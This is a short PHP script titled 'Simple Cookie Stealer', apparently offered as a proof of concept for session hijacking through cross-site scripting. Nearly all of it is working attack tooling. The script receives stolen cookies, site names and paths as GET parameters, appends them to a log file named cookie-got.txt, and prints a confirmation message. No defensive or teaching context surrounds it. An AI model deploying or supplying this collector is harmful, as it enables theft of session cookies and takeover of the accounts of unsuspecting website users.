Simple Cookie Stealer

<?php
/*
Name: PHP Simple Cookie Stealer
PoC: Session Hijacking with XSS (GET or Stored methods)
--- VanGans ---
*/

    $cook = $_GET['c']; // Cookie Logger
    $web = $_GET['w']; // Webname Logger
    $path = $_GET['p']; // PATH Logger

    if(empty($cook))
        {
          exit();
        }


    else
        {
          $fp = fopen('cookie-got.txt', 'a');
          fwrite($fp, 'Web : '.$web.'\nPath : '.$path.'\nCookie : '.$cook.'\n====================\n');
          fclose($fp);
          echo "Tercurry di cookie-got.txt";
          exit();
        }
?>